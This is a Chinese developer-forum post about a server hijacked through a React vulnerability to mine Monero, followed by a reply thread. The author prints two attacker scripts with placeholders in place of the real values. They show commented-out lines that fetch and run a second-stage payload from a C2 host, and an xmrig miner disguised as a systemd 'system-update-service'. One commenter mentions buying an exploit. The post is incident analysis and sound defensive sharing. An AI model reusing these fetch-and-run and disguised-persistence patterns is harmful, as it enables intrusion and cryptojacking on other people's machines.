React 漏洞中招,服务器被用来挖矿

2025 年 12 月 6 日
 cassiuschen

早上收到阿里云短信,说有一台服务器被用来挖矿,排查发现哥们用漏洞来注入用于挖门罗币。 做开发 12 年了第一次遇到服务器被人搞,说实话还有点刺激还有点兴奋。

复盘一下经过,大家共赏:

1 、收到阿里云报警说有服务器用于挖矿

2 、阿里云后台定位到了大致的挖矿文件

3 、上服务器一看

好家伙确实多了不少东西,有两个核心的攻击脚本,一个是 python1.sh ,一个是 sex.sh ,直接脱敏后放出脚本大家共赏:

python1.sh

#!/bin/bash

# ========== 脱敏说明 ==========
# 1. 攻击者 IP/端口替换为[攻击者 C2 服务器 IP:端口]
# 2. 恶意程序随机文件名替换为[恶意程序随机文件名]
# 3. 下载/执行类恶意逻辑添加注释,仅保留结构
# 4. 核心攻击特征已标注,无任何可执行的恶意代码

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
cd /tmp
touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/
touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/
touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/
rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex
export PATH=$PATH:$(pwd)

l64="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=l64&stage=true"  # Linux x86_64 架构
l32="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=l32&stage=true"  # Linux x86 32 位架构
a64="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=a64&stage=true"  # ARM64 架构
a32="[攻击者 C2 服务器 IP:端口]/?h=[C2_IP]&p=[端口]&t=tcp&a=a32&stage=true"  # ARM32 架构

v="[恶意程序随机文件名]"
rm -rf $v

ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
    # (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")')
elif [ ${ARCH}x = "i386x" ]; then
    # (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "i686x" ]; then
    # (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "aarch64x" ]; then
    # (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")')
elif [ ${ARCH}x = "armv7lx" ]; then
    # (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")')
fi

# chmod +x $v
# (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &)

这个主要是为了下载第二层的恶意程序,从实际结果来看,恶意程序伪装成了 docker ,在 tmp 文件夹下跑,由于是二进制文件,目前还没有进一步查验它在做啥,不过大概率也是挖矿,因为看到了一个挖矿的 config 文件。

sex.sh

#!/bin/bash

# ========== 脱敏说明 ==========
# 1. 挖矿池地址/钱包 ID/TLS 指纹替换为占位符,无法用于实际挖矿;
# 2. 下载/解压/执行类恶意命令全部注释,仅保留攻击结构;
# 3. 服务器环境特征(如$(pwd))替换为占位符,避免溯源风险;

# Configuration
TAR_FILE="kal.tar.gz"
EXTRACT_DIR="xmrig-6.24.0"( 6.24.0 )
BINARY_PATH="[当前路径]/$EXTRACT_DIR/xmrig"
ARGS="--url [恶意挖矿池地址] --user [攻击者挖矿钱包 ID] --pass next --donate-level 0 --tls --tls-fingerprint [恶意 TLS 指纹]"
SERVICE_NAME="system-update-service"  

# Download and setup if not already present
if [ ! -f "$BINARY_PATH" ]; then
    # curl -L -o "$TAR_FILE" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
    # tar xvzf "$TAR_FILE"
fi

# chmod +x "$BINARY_PATH"

# Attempt systemd setup
INSTALLED_SYSTEMD=0
if [ "$(id -u)" -eq 0 ] && command -v systemctl >/dev/null 2>&1; then
    echo "Root privileges detected. Attempting systemd setup..."
    
    SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service"
    
    # cat <<EOF > "$SERVICE_FILE"
    # [Unit]
    # Description=System Update Service
    # After=network.target
    # 
    # [Service]
    # Type=simple
    # ExecStart=${BINARY_PATH} ${ARGS}
    # Restart=always
    # RestartSec=10
    # User=root
    # 
    # [Install]
    # WantedBy=multi-user.target
    # EOF

    # systemctl daemon-reload
    # systemctl enable "$SERVICE_NAME"
    # systemctl start "$SERVICE_NAME"
    
    if systemctl is-active --quiet "$SERVICE_NAME"; then
        echo "Service started via systemd."
        INSTALLED_SYSTEMD=1
    fi
fi

# Fallback to nohup
if [ $INSTALLED_SYSTEMD -eq 0 ]; then
    echo "Starting with nohup..."
    # nohup "$BINARY_PATH" $ARGS >/dev/null 2>&1 &
fi

是的你没看错,这个脚本甚至自带注释,甚至还 echo 了进度……不知道这个人从哪下的示例代码分发的……逻辑比较清晰,把挖矿程序伪装成系统服务。

4 、处理

由于感染的服务器是公司很边缘的、用于内部一些脑洞项目 poc 测试的小服务器,所以在权限管理上十分松懈,直接用 root 用户部署的各类小 Demo App ,导致这次漏洞也轻松的让攻击者获得了 root 权限,可能还替换了部分系统文件,机器肯定是不能留了……

下一步排查一下上面在跑的服务,备份数据,销毁重建。

7947 次点击
所在节点    信息安全
29 条回复
hcy
2025 年 12 月 6 日
脚本估计都是 llm 生成的。
realpg
2025 年 12 月 6 日
这下鼓吹卸载 agent 的不吱声了
dianso
2025 年 12 月 6 日
4 号早上 200U 买的 exp
不过算是亏了,因为 cdn 厂都做了 waf 了
不过还是有些可以搞的
spa ,前后端分离的搞不了
我发现 umami 用户基本很少用 docker 部署,直接就拿到 root 权限了,反而是 docker 部署的安全。
NewYear
2025 年 12 月 6 日
阿里云是真的急,因为大家的资源都被用掉,物理服务器资源就不够分了。
cctv6
2025 年 12 月 6 日
@realpg 吹旧版本安全稳定的现在也不吱声了
kulove
2025 年 12 月 6 日
国内的云有点不地道 这种等级的漏洞 你不买 waf 最多扫描给你个提醒 而不是直接拦截 真善人还是得看 cloudflare
XDiLa
2025 年 12 月 6 日
@kulove 跪舔洋吊这一块你还是你权威,说你这些逼话之前 能不能动动脑子。真拦截误判造成的损失你来承担? CF 什么时候能拦截服务器里的恶意程序呢?
MIUIOS
2025 年 12 月 6 日
@kulove 兄弟你是反串还是? 国外哪家 idc 有免费赠送漏洞扫描和拦截?? 你找一个给我,你说的 cf 有这功能吗,那也是付费的啊
kierankihn
2025 年 12 月 6 日
@MIUIOS https://blog.cloudflare.com/waf-rules-react-vulnerability/

All Cloudflare customers are automatically protected, including those on free and paid plans, as long as their React application traffic is proxied through the Cloudflare Web Application Firewall (WAF).
kulove
2025 年 12 月 6 日
@XDiLa ??有毛病就去治 以 cf 举例子自然是指同类型的产品 你给我在这扯云服务器搞什么 都是搞互联网的难道我不知道在没开启防护的情况下厂商没权利拦截请求?
mxT52CRuqR6o5
2025 年 12 月 6 日
@kierankihn #9 cdn 和云主机完全不是一种产品啊,哪有这么比较的
kulove
2025 年 12 月 6 日
@MIUIOS cf 还真有 而且是免费
kingofzihua
2025 年 12 月 6 日
@kierankihn 真大善人啊
streamrx
2025 年 12 月 6 日
@MIUIOS cf 有这个功能,也是免费的
catazshadow
2025 年 12 月 6 日
xmrig 就是挖门罗的
tyzrj766
2025 年 12 月 6 日
我 docker 部署了 umami ,没及时更新就中招了,已经停+删了,现在正常了,还好是 docker
dushixiang
2025 年 12 月 6 日
还是搞容器部署比较好,这样资源隔离想要提权也比较麻烦
Q980q48Jgj6pRXoO
2025 年 12 月 6 日
说什么都别骂人吧,你怎么就能确定自己开口一定正确呢
Q980q48Jgj6pRXoO
2025 年 12 月 6 日
向楼上
SakurajimaMa
2025 年 12 月 6 日
中招了

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/1177265

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX